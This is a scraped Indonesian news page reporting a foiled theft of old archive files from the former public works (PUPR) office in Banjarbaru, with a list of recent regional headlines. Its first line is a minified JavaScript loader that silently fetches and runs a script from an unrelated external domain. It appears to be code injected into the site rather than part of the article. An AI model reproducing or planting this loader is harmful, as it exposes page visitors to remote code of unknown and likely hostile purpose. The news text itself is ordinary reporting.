(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Maling Satroni Bekas Gedung Dinas PUPR Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Bekas Kantor Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru disatroni maling. Beruntung aksi tersebut dapat digagalkan pihak Satuan Polisi Pamong Praja (Satpol PP) yang sedang melakukan piket.

“Beberapa hari lalu bekas Kantor PUPR itu dimasuki maling. Namun, ketahuan petugas piket Satpol PP,” kata salah saorang sumber kepada kanalkalimantan.com, Rabu (14/9/2022).

Dilanjutkannya, adapun barang yang diambil maling berupa beberapa berkas Dinas PUPR Kota Banjarbaru yang masih tertinggal di dalam kantor.

“Untuk maling dilakukan pembinaan saja oleh Satpol PP,” tandasnya.

 

Kepala Dinas PUPR Banjarbaru Eka Yuliesda. Foto : ibnu

Baca juga  : Soal Komentar Anggota DPR Effendi Simbolon “Tentara Mirip Gerombolan”, Ini Respon Dandim 1022 Tnb

Saat di konfirmasi, Kepala Dinas PUPR Kota Banjarbaru, Eka Yuliesda membenarkan kejadian tersebut.

Menurutnya, bekas Kantor Dinas PUPR Kota Banjarbaru sudah diserahkan pada bulan Maret ke Bidang Aset Kota Banjarbaru.

“Kemarin sudah kita serahkan ke bidang aset kita, BKD Provinsi yang ingin memakainya, memang masih ada barang yang ditinggal disana yakni arsip diatas 5 tahun,” katanya.

Dibeberkannya, terkait pelaku sudah diamankan oleh pihak Satpol PP Kota Banjarbaru.

 

Baca juga : Survei Literasi Digital di HSU, Ini Harapan Warga Desa Rukam Hilir

“Kemarin dari pihak Satpol PP mengamankan, karena tidak terlalu penting jadi kami tidak akan meruskan secara hukum gitu,” bebernya.

Dijelaskan Eka, yang masih tertinggal di sana merupakan barang arsip di atas 5 tahun, sembari menunggu gudang arsip yang akan dibangun oleh Dinas PUPR Kota Banjarbaru.

“Kita memang berencana membangun gudang arsip, yang ditinggal itu arsip lama diatas 5 tahun yang tidak bisa dititipkan di bagian arsip,” jelasnya.

Diungkapkan Eka, terkait arsip yang ada dikarenakan belum 10 tahun sehingga dititip sementara di gedung lama Dinas PUPR.

“Yang penting-penting sudah kami bawa, arsip 5 tahun ke bawah sudah dibawa,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

13 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

20 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

24 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.